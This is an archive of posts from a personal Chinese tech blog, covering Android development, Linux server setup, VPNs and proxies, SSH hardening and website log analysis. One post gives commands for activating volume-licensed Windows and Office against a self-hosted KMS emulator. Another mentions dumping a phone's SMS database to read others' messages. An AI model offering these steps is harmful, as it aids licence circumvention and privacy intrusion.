Android 5.0 的通知栏的setsmallicon会自动处理图片的颜色，简单的说就是会将图片的颜色去掉，所以大家设置的时候要使用透明背景的设计风格，不然在通知栏中显示的话就是一个白色的icon

SEO

Android通知栏白色图标

Android setsmallicon 无效

Android setsmallicon 白色图片

自建KMS服务器

2016-03-30T21:32:14+08:00

作用

方便激活各种VOL的Windows和office 0.0~

使用开源项目

GITHUB地址：https://github.com/vancepym/vlmcsd
官方论坛地址：http://forums.mydigitallife.info/threads/50234-Emulated-KMS-Servers-on-non-Windows-platforms
一个国人的教程：http://www.l68.net/1028.html

搭建

vlmcsd为服务器

一次性执行：在对应的系统执行对应的文件就好服务器模式：将改命令开机自动启动（自动监听ipv4和ipv6地址，端口1688）

自用的话只要保证Windows的机器可以访问目标机器的就好（例如同一个局域网内）

支持手机，Windows，Linux,MAC OSX以及路由器系统。

使用

Windows：使用管理员启动命令提示符

slmgr.vbs -ipk W269N-WFGWX-YVC9B-4J6C9-T83GX #密钥
slmgr.vbs -skms IP地址
slmgr.vbs -ato

OFFICE：首先切换到对应的Office目录下，例如：

cd "C:/Program Files/Microsoft Office/Office15"

然后执行对应命令

cscript ospp.vbs /sethst:IP地址
cscript ospp.vbs /act

Repo diff 文件自动patch

2016-03-16T16:32:05+08:00

repo diff 导出

REPO 是Android Source 的同步工具，使用repo diff可以查看修改过的文件，那么使用repo diff > xxx.diff就可以将内容导出成为文件

像普通的diff文件一样patch

使用google group一个人的代码：https://groups.google.com/forum/#!topic/repo-discuss/43juvD1qGIQ

## Script to patch up diff reated by `repo diff`

if [ -z "$1" ] || [ ! -e "$1" ]; then
    echo "Usages: $0 &lt;repo_diff_file&gt;";
    exit 0;
fi

rm -fr _tmp_splits*
cat $1 | csplit -qf '' -b "_tmp_splits.%d.diff" - '/^project.*\/$/' '{*}'

working_dir=`pwd`

for proj_diff in `ls _tmp_splits.*.diff`
do 
    chg_dir=`cat $proj_diff | grep '^project.*\/$' | cut -d " " -f 2`
    echo "FILE: $proj_diff $chg_dir"
    if [ -e $chg_dir ]; then
        ( cd $chg_dir; \
            cat $working_dir/$proj_diff | grep -v '^project.*\/$' | patch -Np1;);
    else
        echo "$0: Project directory $chg_dir don't exists.";
    fi
done

将该文件保存为sh并且加上执行权限，就可以使用./xxx.sh xxx.diff打补丁了。。注意文件位置

以上

CM13编译新增Maven依赖支持

2016-03-14T12:05:13+08:00

CM13.0 分支添加Maven支持

在安装官网教程会发现缺少mvn命令导致编译失败，错误如下

/bin/bash: mvn: command not found
make: *** [/home/jeffrey/android/out/target/common/obj/JAVA_LIBRARIES/ambientsdk_intermediates/com.cyngn.ambient.ambientsdk-1.4.0.aar] Error 127
make: *** Waiting for unfinished jobs....

解决方法，安装maven2，maven3会遇到插件不存在。

sudo apt-get install maven2

Ubuntu Samba共享无法登陆解决方案

2016-03-03T22:41:48+08:00

当你在按照网络教程都配置好后依旧无法通过Windows登陆samba文件夹，请注意以下几点：

给samba添加自己用户和密码 sudo smbpasswd -a username
win10 登陆时候用户名前要加\ 例如\username来去掉登陆域

阿里云通过He.net添加IPV6

2016-03-01T13:41:10+08:00

本文重点，如果只是想关注让阿里云可行，则看这里

最重要，修改阿里云限制

阿里云限制了ipv6的功能，我们需要修改开启

编辑\etc\sysctl.conf翻到最后我们会看到一堆关于ip的配置，我们需要修改关于ipv6的设置

net.ipv6.conf.all.disable_ipv6 = 0
net.ipv6.conf.default.disable_ipv6 = 0
net.ipv6.conf.lo.disable_ipv6 = 0

然后保存重启系统使之生效

正文部分

IPV6的好处

ipv6可以绕过校园网限制，可以进pt。

阿里云和ipv6

国内阿里云不提供ipv6服务，所以我们通过he.net提供的tunnel可以实现连接ipv6

Ubuntu和he.net

参考https://wiki.ubuntu.com/IPv6#Get_connected_with_Hurricane_Electric

以及https://tunnelbroker.net/

前者是配置，后者是提供tunnel服务

其实简单来说，就是在he.net注册账号后按照要求填入vps的ipv4的ip，然后生成一个tunnel，然后进去后就有各种系统的配置。

在阿里云上（ubuntu）

我们需要编辑\etc\network\interface

auto he-ipv6
iface he-ipv6 inet6 v4tunnel
address 2001:470:xxx:xxx::2
netmask 64
remote 216.xxx.xxx.xxx #远程ip地址
local xxx.xxx.xxx.xxx #阿里云ip地址
endpoint any
ttl 255
gateway 2001:470:xxx:xxx::1
up ip -6 route add 2000::/3 via ::216.xxx.xxx.xxx dev he-ipv6
up ip -6 addr add 2001:470:xxx:xxx::1:1/128 dev he-ipv6
up ip -6 addr add 2001:470:xxx:xxx::2:1/128 dev he-ipv6
down ip -6 route flush dev he-ipv6

然后保存就好了。

最重要，修改阿里云限制

阿里云限制了ipv6的功能，我们需要修改开启

编辑\etc\sysctl.conf翻到最后我们会看到一堆关于ip的配置，我们需要修改关于ipv6的设置

net.ipv6.conf.all.disable_ipv6 = 0
net.ipv6.conf.default.disable_ipv6 = 0
net.ipv6.conf.lo.disable_ipv6 = 0

然后保存重启系统使之生效

如果没看到

使用ifconfig没有看到he-ipv6的网卡的话，那么应该执行ifup he-ipv6即可，运行后如果没有就再重启一遍就好0.0~

Build SoftEther VPN on Banwagonghost

2015-12-15T10:39:29+08:00

SoftEther VPN

日本筑波大学的项目，该项目牵扯到VPN GATE项目，后者因为某原因并不会在本文出现介绍。

官网：https://www.softether.org/

部署到VPS上，搬瓦工/kvm主机

root 用户执行，在安装的时候要同意选项。

wget http://www.softether-download.com/files/softether/v4.19-9599-beta-2015.10.19-tree/Linux/SoftEther_VPN_Server/64bit_-_Intel_x64_or_AMD64/softether-vpnserver-v4.19-9599-beta-2015.10.19-linux-x64-64bit.tar.gz
tar -zxvf softether-vpnserver-v4.19-9599-beta-2015.10.19-linux-x64-64bit.tar.gz
cd vpnserver/
./.install.sh
./vpnserver star

然后观察端口情况，一般是ipv4和ipv6都监听了，一般是443,992，1194和5555这四个端口。至少要保证一个是开放的才能在管理端连接上

Windows端使用客户端配置

下载SoftEther VPN Server 管理器

然后开启L2TP功能，并且设置IPsec的共享密钥

管理虚拟HUB，建立一个虚拟HUB，然后添加用户，并且开启NAT

开启net，注意填写dns地址和默认网关的配置

NAT示范配置

添加用户

基本配置完成

iPhone配置

在设置中VPN添加L2TP连接，填入对应信息，开启连接

搜索测试

问题

官方说支持ipv6并且我在nat端口也看到了ipv6的连接，但是不知道是否是L2TP over IPsec还是SecureNAT的锅，导致无法通过IPV6地址连接上VPN，有待考证

Convert Shadow(remove)socks into an HTTP proxy

2015-12-09T16:44:03+08:00

First run polipo with parent proxy set to Shadow(remove)socks

apt-get install polipo
service polipo stop
polipo socksParentProxy=localhost:1080
service polipo start

Then you can play with the HTTP proxy

http_proxy=http://localhost:8123 apt-get update

http_proxy=http://localhost:8123 curl www.google.com

http_proxy=http://localhost:8123 wget www.google.com

git config --global http.proxy 127.0.0.1:8123
git clone https://github.com/xxx/xxx.git
git xxx
git xxx
git config --global --unset-all http.proxy

Windows通过Samba访问Ubuntu文件

2015-10-08T23:55:26+08:00

安装过程

两步：

sudo apt-get install samba
sudo smbpasswd -a <user_name>

然后，在Ubuntu图形界面文件浏览器右键你想要共享的文件夹，选择属性，第一是更改权限，让对应用户可写，第二是在共享里面开启共享，选择对应的共享方式

最后，在windows我的电脑中添加一个网络位置，其中注意，ip前应该用\\来表示是samba协议，登录的时候使用\username来去掉默认登录域

end

Transmission For Ubuntu Server

2015-10-08T11:42:43+08:00

Transmission-daemon

sudo apt-get install transmission-daemon
使用ROOT用户修改配置文件，文件位置/etc/transmission-daemon/settings.json
修改以下配置使之远程可用：

"rpc-enabled": true,

"rpc-password": "password",

"rpc-port": 9091,

"rpc-username": "transmission",

"rpc-whitelist": "127.0.0.1,...",

"rpc-whitelist-enabled": true
root用户使用该命令重载设置invoke-rc.d transmission-daemon reload
打开浏览器对应ip：端口，然后点击左下角进行详细配置。当然也可以在setting.json中进行修改。

SIM信息清理查看工具（重点在ROOT权限的利用）

2015-10-04T13:11:18+08:00

原理

通过查看/data/data/com.android.providers.telephony/databases/telephony.db这个数据库的信息来获取，需要ROOT权限，当然可以不需要ROOT权限进行内容查看，通过内容提供者来实现。

ROOT权限的利用

原以为网络上会有很多ROOT权限的利用代码，结果发现就那么几个，而且并不是很适用，因此做了一些总结。

通过调用su命令来获取ROOT权限

参考了一下网络上的代码进行改进的，并且対输出流的数据进行字符串编码。

public boolean RootCommand(String command)
{
    Process process = null;
    DataOutputStream os = null;
    //DataInputStream is = null;
    int result=-1;
    try
    {
        process = Runtime.getRuntime().exec("su");
        os = new DataOutputStream(process.getOutputStream());
        //is = new DataInputStream(process.getInputStream());
        BufferedReader is = new BufferedReader(new InputStreamReader(process.getInputStream()));
        os.writeBytes(command);
        os.flush();
        os.writeBytes("exit\n");
        os.flush();
        String line="";
        string="";
        while((line=is.readLine())!=null){
            Log.i("is out---","2134"+line);
            string+=line+"\n";
        }
        process.waitFor();
        result = process.exitValue();
        Log.i("is out---",result+"");

    } catch (Exception e)
    {
        Log.d("*** DEBUG ***", "ROOT REE" + e.getMessage());
        return false;
    } finally
    {
        try
        {
            if (os != null)
            {
                os.close();
            }
            process.destroy();
        } catch (Exception e)
        {
            Log.d("*** DEBUG ***", "Root SUC-e ");
        }
    }
    if(result==0){
        //tv_out.setText(string);
        //tv_out.append("Success!/执行成功！");
        return true;
    }else{
        //tv_out.setText("Faild,No ROOT?/失败，请先给root权限? ");
        return false;
    }

}

这里说一些坑，希望大家可以注意到：

注意input流和output流的顺序，和我们平时使用的是相反的

input流可以用BufferedReader来处理，这样可以解决中文乱码的错误

process的处理目前我测试的只有在终端窗口的input功能，例如进入sqlite后可以执行一条select语句，但是并不能继续输入指令，比如.exit这样的指令让他退出，有更好的方法可以进行交流，建议大家都用单行指令进行。比如"sqlite3 /data/data/com.android.providers.telephony/databases/telephony.db 'select * from siminfo;' " + "\n"这样的命令。

每行结束都要有"\n"进行输入回车

大坑：请注意try，catch的路径以及process的返回值，这里涉及到很多部分，比如用户没有root走的路线，用户有root权限但是没有给程序授权走的路线等等

返回值处理要得当，以及输入部分要多次测试，不然很有可能会导致自己程序FC。

重启命令ROOT执行

Runtime.getRuntime().exec(new String[]{"/system/bin/su","-c","reboot now"});

同样这块通过这样的runtime直接执行命令，这里一般是单行命令的执行，数组是用来输入空格的0.0~

程序部分

程序源代码：https://github.com/fashioncj/SimClearTool/

程序下载地址：https://github.com/fashioncj/SimClearTool/blob/master/app-release-unaligned.apk?raw=true

Android Telephony Providers数据库分析

2015-10-04T12:17:31+08:00

目标

由于在New Moto G LTE 2015 版本的CM12.1存在在使用两个SIM卡后再次插入第三张SIM卡导致com.android.phone程序崩溃（FC），错误是数组下标越界。

在不想恢复出厂设置的情况下，我就顺带研究了一套的phone相关的Applicaion，最后将目标锁定在了com.android.providers.telephony这个应用。这个程序是系统的通信内容的核心，不能通过设置-应用中清理该程序数据，所以就通过ADB把其数据dump出来进行查看。

数据库分析

blacklist.db
HbpcdLookup.db
mmssms.db
telephony.db

blacklist.db

通过通讯录添加的黑名单数据将会保存在这里

HbpcdLookup.db

基础功能的数据存储，查看后发现有大量mcc数据，包括全球各个国家的数据以及时区，国家区号，MCC编号等

mmssms.db

短信数据库，内容不容多说，dump it你就可以获取别人的信息的。

telephony.db

这个就是本文的关键，这个里面存储着全球运营商的数据，以及你手机SIM卡相关的数据。

其中，carriers表存储的是全球运营商的数据，包括他们的一些基础设置，比如APN,MMS的接收信息，这也是为神马你插入一张手机卡后Android可以自动配置，能够和运营商交互等的数据基础

siminfo就是保存所有插入的SIM卡的信息，其建表参数为下表所示：

CREATE TABLE siminfo(
    _id INTEGER PRIMARY KEY AUTOINCREMENT,
    icc_id TEXT NOT NULL,
    sim_id INTEGER DEFAULT -1,
    display_name TEXT,
    carrier_name TEXT,
    name_source INTEGER DEFAULT 0,
    color INTEGER DEFAULT 0,
    number TEXT,
    display_number_format INTEGER NOT NULL DEFAULT 1,
    data_roaming INTEGER DEFAULT 0,
    mcc INTEGER DEFAULT 0,
    mnc INTEGER DEFAULT 0,
    sub_state INTEGER DEFAULT 1,
    network_mode INTEGER DEFAULT -1,
    user_network_mode INTEGER DEFAULT -1)

所以我们如果要修复SIM卡相关的信息，我们只要清除这个表然后重启就好了。

表sqlite_sequence保存的siminfo的数值，如果清除siminfo的信息依然报错可以尝试清理这个值。

自动清理工具

根据这些信息我开发了一个工具用来自动清理数据，下载地址将在下篇文章放出。

文章地址： http://blog.chenjia.me/articles/151004-121731.html

下载地址：https://github.com/fashioncj/SimClearTool/blob/master/app-release-unaligned.apk?raw=true

一个好看的Ubuntu主题

2015-09-19T21:28:54+08:00

开源地址

https://github.com/anmoljagetia/Flatabulous

使用说明请看readme

Tips:CP到theme目录的时候，记得看清楚权限的问题。

Tips2：安装unity-tweak-tool 或者ubuntu-tweak的时候不用root 用户启动，否则要删除用户目录下.cache 中的对应文件，否则会导致无法更换主题

导入最新的Volley到Android项目

2015-09-08T22:37:48+08:00

步骤

转自：http://stackoverflow.com/questions/20059576/import-android-volley-to-android-studio

First get latest volley with git.

git clone https://android.googlesource.com/platform/frameworks/volley 2. In your current project (android studio) click [file] --> [New Module]. 3. Now select [Import Existing Project] 4. Now select the directory where you downloaded Volley to. 5. Now Android studio might guide you to do the rest but continue guide to verify that everything works correct 6. Open settings.gradle (find in root) and add (or verify this is included):

include ':app', ':volley' 7. Now go to your build.gradle in your project and add the dependency:

compile project(":volley")

Ubuntu 15.04 64/32bit 配置Android 开发环境

2015-08-13T21:53:44+08:00

手动

官网下载Android Studio
安装32位支持很重要 > sudo apt-get install lib32z1 lib32ncurses5 lib32stdc++6

32位添加lib32bz2-1.0
安装SDK
更新SDK
打开Android Studio，配置SDK目录，Gradle目录
建立测试工程
安装genymotion
安装oracl virtualbox
建立虚拟机，配置genymotion
run it

Android Studio PPA

自动安装android studio

sudo apt-add-repository ppa:paolorotolo/android-studio
sudo apt-get update
sudo apt-get install android-studio

Realvnc 和Ubuntu 15.04 不兼容解决方案

2015-07-05T15:41:00+08:00

今天在配置Ubuntu 15.04的时候发现REALVNC 在安装时候会报错。刚开始我并没有注意到这个错误，结果发现安装后VNC Server不能通过服务启动，然后我自己脑补了一堆解决方案后依旧错误飞起。

后来我查看了安装报错，发现是有一个文件无法被复制。然后自己手动也找不到这个文件。

最后。google一下。。发现了解决方案。果然万事应该GOOGLE IT

解决方案

在安装前用root用户在/usr/lib/systemd/ 下创建文件夹system 然后重新安装，解决问题。

原文：https://support.realvnc.com/knowledgebase/article/View/511/2/vnc-installer-fails-to-install-daemons-on-certain-linux-distributions

When running the VNC installer on Linux platforms such as Ubuntu 15.04 and Debian 8, you may see the following errors:

/usr/bin/vncinitconfig: 1516: /usr/bin/vncinitconfig: cannot create /usr/lib/systemd/system/vncserver-x11-serviced.service.tmp: Directory nonexistent chmod: cannot access ‘/usr/lib/systemd/system/vncserver-x11-serviced.service.tmp’: No such file or directory mv: cannot stat ‘/usr/lib/systemd/system/vncserver-x11-serviced.service.tmp’: No such file or directory

Workaround available:

Create the directory /usr/lib/systemd/system/ and re-run the installer.

开机启动

新版本的REAL VNC 使用systemctl来控制和一般的服务一样。开机启动使用： systemctl enable vncserver-x11-serviced.service

Browser-sync Windows 配置

2015-05-25T15:47:00+08:00

Browser-sync

Browser-sync是基于nodejs的一个自动刷新开发的网页软件。其基本作用如下：

监听网页文件变化，变化后自动注入或者刷新页面

高级功能有手机动态调试等。

在windows下安装过程

下载node.js

去node.js安装下载一个windows安装包，安装~

安装Browser-sync

在命令提示符中运行命令：

npm install -g browser-sync

等待完成就好

开启测试页面

在网页的工作目录下，按住shift+右键，选择在此打开命令行

输入命令：

browser-sync start --server --port 4000 --files index.html --files css/main.css

其中

--port 后面为端口号
--files 需要监听的文件，默认的其实目录是当前文件

更多命令，使用browser-sync --help获取

使用

如果修改后监听到变化，会在cmd窗口中出现对应信息。

已知：sublime 和vim 保存方式是不会被支持的

建议：使用notepad++或者eclipse（hbuilder）

Wifi共享软件导致VMware桥接无法获取ipv6地址

2015-05-16T19:40:00+08:00

在教育网中，IPV6是一个特别好用的网络，不限速，网络快。不过今天在配置VMware 10里面的Ubuntu 15.04的时候，发现IPV6无法获得。

VMware IPV6正确打开姿势

安装支持ipv6的系统
编辑-虚拟网络编辑器-vmnet0-桥接-选择支持ipv6的网卡
将对应的虚拟机设置为桥接上网方式，不要复制本地网卡信息
查看是否可以使用IPV6

wifi共享软件导致无法获得ipv6的分配

今天我这么配置的时候，发现了我的ubuntu一直无法获得到外网的ipv6地址，只能获取到ipv4地址。

而且ubuntu内ipv6的地址是内网地址。

非常奇怪。

直到我google到一个人在小米论坛里面发的提问帖子，我才恍然大悟。

http://bbs.xiaomi.cn/thread-10907185-1-1.html

这么一说我就想到了我曾经用猎豹wifi过。

那么简单了，尝试在以太网-属性里面，去掉对应wifi共享程序的协议前面的勾，然后重新让虚拟机连接一下网络。

成功了。

原因是什么？

我猜测是IPV6不支持NAT而这些协议并没有跳过IPV6协议的处理，导致当IPV6 广播的时候无法获得ip地址。

搭建gitlab在自己的服务器上

2015-04-22T20:30:00+08:00

简介

GitLab 是一个完整的开源的git网站框架，简单易部署（大雾），基本上只要搭建好了就可以公开使用了，效果可以看 https://gitlab.com/users/sign_in这是他们使用自己框架搭建的，他们的主页是https://about.gitlab.com/里面有文档教程等待的一些东西

部署

gitlab需求的配置可以在http://doc.gitlab.com/ce/install/requirements.html上查看，建议使用ubuntu，毕竟用的人多，其次他们是基于ruby的

下载并安装包

官网命令是

#下载
wget https://downloads-packages.s3.amazonaws.com/ubuntu-12.04/gitlab_7.9.4-omnibus.1-1_amd64.deb
#安装
sudo dpkg -i gitlab_7.9.4-omnibus.1-1_amd64.deb

但是Amazon云很多都被大陆墙了，所以你需要用自己的方法下载deb包

第一次启动

sudo gitlab-ctl reconfigure

等待。。。

然后访问ip:port进行开启

如果打不开可能端口被占用了，他需要80端口和8080端口

更改端口的话比较麻烦~需要修改对应配置

或者关闭其他占用该端口的服务器，然后修改 vim /etc/gitlab/gitlab.rb 中的

external_url 'http://xxx.xx.xx'

即可

第一次登陆

使用用户名root，密码5iveL!fe进行登录

然后修改默认密码，继续登录，即可进入管理界面

Ubuntu安装ipython notebook及配置

2015-04-14T10:59:00+08:00

ipython notebook

ipython 据说是一个比python还好的python软件，支持全平台，今天我们要的是配置他的notebook组件，利用其网页端的优势，我们可以实时的演示终端，远程终端，这些都可以在网上搞定的。

官网：http://ipython.org/

安装

安装python3环境，然后安装python的pip(sudo apt-get install python3-pip)
sudo pip3 install ipython[notebook]
等待安装成功
输入ipython3 notebook测试，成功后可以关闭

配置

创建配置文件ipython profile create fashioncj（fashioncj可替换为你的名字）
创建密码hash值，输入ipython进入 >To generate, type in a python/IPython shell:
```
from IPython.lib import passwd;
passwd()
```
The string should be of the form type:salt:hashed-password.

记住生成的数值
找到配置文件，用编辑器打开进行编辑~/.ipython/profile_fashioncj/ipython_notebook_config.py
修改端口c.NotebookApp.port
修改ipc.NotebookApp.ip 修改为0.0.0.0即可让外网访问
c.NotebookApp.password 写入刚才生成的字符串
修改的配置都要去除掉前面的#号才可以生效，并且去掉行首的空格
使用ipython notebook --profile=fashioncj启动
如果需要后台启动使用nohup ipython notebook --profile=fashioncj &

使用

打开浏览器，输入ip：端口即可

在主页的右边有new选项，里面可以新建终端

Sublime Text 3 打印代码

2015-04-09T16:27:00+08:00

今天突然需要打印smail语言，发现sublime并没有smail语法高亮和打印功能，那么，装插件啦。

安装smail语法高亮插件

包管理中安装插件smail即可

安装打印插件

试了一下两个打印插件都并不好用，推荐ExportHTML这个安装后可以直接导出html并且打印，而且有两种配色方案以及3种模式~可供选择

Android判定当前无线网是否需要验证

2015-03-31T11:30:00+08:00

之前在写i-wifi的时候，就对这个问题比较疑惑，对此我还专门研究了Andoroid Wifi类的功能。可惜并没有发现相关的东西。

可是别的程序可以做出检测。

所以最后我就用了ping命令来进行查看是否连上无线却无法访问外网。

Android的实现原理

今天看到有关讨论android5.1的时候，发现大家提到了这个。

才知道，google用了一个http 204的状态码，当你连接上无线网络的时候，会去请求网址http://connectivitycheck.android.com/generate_204或者clients3.google.com/generate_204来判断是否放回204

我们怎么做

如果要实现类似的功能，只要搭建一个简单的服务器，返回204就好了，服务器内容流量压力都很小。

查找手机QQ特别关心铃声

2015-03-25T13:14:00+08:00

iOS QQ因为苹果限制导致不可以更换特别关心铃声~不过作为程序猿怎么会被限制呢~

获得qq特别关心铃声

小白步骤~ + root过的手机 + 在android qq中试听喜欢的铃声 + 用RE文件管理器或相同的文件管理器进入data/data/com.tencent.mobileqq/files/http:/imgcache.gtimg.cn/club/mobile/special_sound/目录下 + 里面就是想要的铃声

以下是程序猿的步骤~

下载qq android版本
安装在一个root过的手机里面
登录qq
打开特别关心铃声设置页面
用adb.exe 连接手机
使用命令 adb.exe shell 进入
输入命令 cd data/data/com.tencent.mobileqq进入qq目录
在手机页面中试听你喜欢的铃声
使用命令 find -mmin -10就可以看到文件了~
然后复制出来就好啦~

上图

修改iOS QQ的特别关注铃声

用pp助手等工具将MP3文件转为caf格式铃声
root过的iPhone
用ifile或者文件管理器打开qq的程序目录
替换1.caf文件即可~

shadow(remove)socks同时监听ipv6&4端口

2015-03-14T16:47:00+08:00

在ipv6网络下我们可以利用ipv6的快速来越过ipv4的速度限制！

ss监听ipv4 和 ipv6 端口

ssserver -p 2123 -k **** -m rc4-md5 -s '::' -d start
ssserver -p 2123 -k **** -m rc4-md5 -s '::' -d stop

【2015年3月3日】碎碎念

2015-03-03T23:35:00+08:00

一

大学最后一个寒假，还有一周的时间。

在家，过得还不错，不过还是和以前一样，永远的拖延症。

说好的甜点~可惜吃的人不在了~然后就一直没动力做~面粉都买了！！！

然后论文还是没看，就看了一点书~

大部分的时间都沉迷于游戏和哔哩哔哩~

然后~还有聊天~

不过~导师的任务Panda和AndroidUrl获取的项目，总是以导师的速度前进~其实可以快很多的-。-每次都只花了一天做了一星期的事情

这次寒假就是体会了一下即将进入社会的样子，同学聚会好像也是这样~小团体小团体玩的特别开心~

现在玩的好的人应该一辈子都会一起玩吧~

二

寒假好像没学什么。

自己的软件还没写。

就写了一个比较好的通讯录的开源项目

以及。。Android的wifi密码查看器

没了。。。

不过重新回到V2EX，学习了好多~见识了各种各样的大牛和菜鸟~

不过~

恭喜V2EX通过GFW认证~HTTPS即可解除烦恼~

三

ss for me搭建成功

寒假体会了中国三家运营商的宽带（光纤）

电信-4m宽带，速度大概到6M，不过上传0.5m、、常理来说就是下载500kb上传40kb的样子~ 不过打个电话给客服可以直接换独立动态ip~绑定ddns就可以做你喜欢的事情啦~不过电信网络游戏很稳定·国外出口速度很慢-。-基本300ms上~

联通光纤（10m）下载速度到16m，上传2m，也就是下载可以到1.7m/s，上传200多k~国外节点还是比较慢的~游戏基本上电信区要加速器~

移动光纤（6m）下载速度平均800kb/s，上传未测试，国外节点快是唯一的好处~

四

还有一周开学，大学四年体会到一次放假比谁都早，上学比谁都迟的感觉~ 不过还是好孤单，觉得如果没有网络没人陪我的话我会崩溃的吧~

晚睡还是不行的-。-不过。。莫名其妙就晚睡了~

心肺能力下降很明显，亚健康体质，这几天一个一个的小病搞定他~

希望下学期能够做点事情出来~

驾照，论文，毕业旅行~

3.11等我回去陪你们玩~

2015年3月4日0:27:47 fashioncj

发现那些尝试登入你SSH的ip

2015-02-05T00:24:00+08:00

发现

今天看到有人在v2ex说浙江的肉鸡好多~想到当时我的vnc端口也被暴力登录过，就好奇心一下！看了一下我SSH的登录日志~

果然惨不忍睹~

如何查看暴力登录日志

在终端运行：grep "Failed password for root" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | more

其中auth.log或者auth.log.1，以及已经被压缩的auth.log.gz解压后的文件~

然后你就可以看到密密麻麻的记录了~

总结

根据ip查找发现大部分ip都是在大家deny.host里面~ 所以我们可以将对应的ip加入到ban列表~也可以用deny host的python脚本~

比较快速的就是修改端口了~我看了我另外一个vps主机的记录~因为端口变化了所以登录日志就很干净~

修改SSh端口，禁止root登陆这个比较简单，只需要修改/etc/ssh/sshd_config文件就好了

sudo vi /etc/ssh/sshd_config
Port 4484
#这里就该为你认为别人猜不到的端口号
PermitRootLogin no
#这里改为no即为禁止root登陆
最后保存，重启 sudo /etc/init.d/ssh restart

如何在家用宽带中搭建一个个人网站

2015-01-25T18:05:00+08:00

本文介绍的是普通电信宽带用户获取公网ip及公开端口的解决方案

原料

中国大陆普通电信宽带
支持端口转发和DDNS的路由器或者直连电脑
花生壳等ddns服务
本机电脑上开放某端口

可以做什么

搭建自己的网站
自己电脑架设服务器和别人一起连接
架设samba等文件共享服务器可以在世界各地随时随地访问
远程桌面自己的电脑
。。。

教学开始

遇到不理解的名词可以评论或者百度之~

获得一个独立的公网ip

电信用户现在大多都是NATip，也就是很多人的ip是100.64.*.*

如何查看自己的ip情况呢，打开百度，输入ip搜索，你就会看到自己的ip，然后打开电脑（直接拨号的）或者路由器的设置界面，看拨号的ip是否一致，如果一致则说明是公网ip，如果不是则说明是内网ip

如果是内网ip的话电信用户可以打10000转4报修宽带故障，转人工坐席，告诉他要申请外网ip，他就会给你开通，开通后等几个小时断开宽带重新连接就可以看到效果了。

配置DDNS

这里以小米路由器mini来说明

首先我们打开http://www.oray.com/之类的DDNS服务网站，主要先查看你的路由器支持哪家DDNS服务，注册账号，获得DDNS服务

然后我们将注册的账号密码域名填入路由器设置中，更新时间10分钟到1个小时都可以，强制更新时间一个小时就好，宽带的ip变化其实不是很频繁

配置完成后我们更新域名的dns服务状态，通过Windows的nslookup 域名或者Linux的dig 域名看看解析出来的dns是否和宽带的ip一致，dns更新时间和dns服务商有关

如果一致则更新成功

配置端口转发

如果你是直连的就无视这一步，如果是路由器的话一台设备的话可以用DMZ全局转发，如果多台设备按照 协议，开放端口，局域网机器的ip，局域网机器服务的端口来进行配置，一般80端口都是被路由器占用，配置好后要记得保存让之生效

配置成功后我们可以用telnet 域名端口来测试端口是否成功

绑定自己的域名

如果你申请了自己的域名可以将某一个二级域名的DNS添加一条记录CNAME到配置好的域名就ok了~dig的时候就可以看到CNAME的跳转了

然后配置本机的服务

比如游戏服务器的端口，远程桌面的3389，ssh的22端口，goagent的8087~设置好转发就ok~

Sae网站异常流量分析以及Sql注入和爬虫安全

2015-01-08T00:15:00+08:00

云豆不够了？

今天早上SAE突然给我发邮件说我的云豆预计7天内用完！逗我呢。。我可是每个月10k云豆的人啊，绝对有问题。马上开电脑看，发现我的一个php架构的网站这个月7天用了5000+的云豆，之前的平均水平应该是在每日几十而已。

这样不科学，我们肯定要查看为什么，通过SAE的计费统计-资源报表来进行查看，发现HTTP的流出流量巨大，而且流入流出差距非常大。

那么问题就处在这里了，那我们得马上去看访问日志了安全与运维-日志中心查看HTTP请求，这里我们就可以发现最近10k的请求都来自哪里，访问了哪些页面，访问类型等，可以说是很全的，还提供下载功能。

这时候我们可以发现所有的请求都在访问一个list.php的页面，很好，我们马上就找到问题了。

抓出元凶

上文提到了list.php这个文件，我们通过日志清楚的看到，有人在对他进行get和post请求，而且还有数字和like，猜测是爬虫或者是机器木马以及sql注入。

日志

wp.chenjia.me 188.165.15.66 144841 90 [05/Jan/2015:00:09:02 +0800] clever4u 943 1 "GET /somepages/liuyan/list.php?id=2081&amp;like=1 HTTP/1.0" 200 1758912 "-" "Mozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/)" 188.165.15.66.1420387742982432 yq24
wp.chenjia.me 188.165.15.66 217763 143 [05/Jan/2015:00:09:38 +0800] clever4u 943 1 "GET /somepages/liuyan/list.php?id=2098&amp;like=1 HTTP/1.0" 200 1758912 "-" "Mozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/)" 188.165.15.66.1420387778914382 yq22
wp.chenjia.me 188.165.15.66 280660 160 [05/Jan/2015:00:09:57 +0800] clever4u 943 1 "GET /somepages/liuyan/list.php?id=2075&amp;like=1 HTTP/1.0" 200 1758912 "-" "Mozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/)" 188.165.15.66.1420387797767577 yq22
wp.chenjia.me 188.165.15.66 244504 183 [05/Jan/2015:00:10:26 +0800] clever4u 943 1 "GET /somepages/liuyan/list.php?id=2068&amp;like=1 HTTP/1.0" 200 1758912 "-" "Mozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/)" 188.165.15.66.1420387826118131 yq48
wp.chenjia.me 188.165.15.209 228733 80 [05/Jan/2015:00:11:08 +0800] clever4u 943 1 "GET /somepages/liuyan/list.php?id=2026&amp;like=1 HTTP/1.0" 200 1758912 "-" "Mozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/)" 188.165.15.209.1420387868681249 yq24

日志中我们获得了攻击者的ip以及http的头部信息，通过查询http://ahrefs.com/robot/我们发现这是一个正规的网站，也就是说攻击者仿照了这个头部信息而已（事实上这也是非常简单的）

好奇一下他们在我的网页留下来了好多信息，还好我在网页留言的时候后台记录了发布者的ip和时间，我们通过查询数据库可以看到。以下内容。

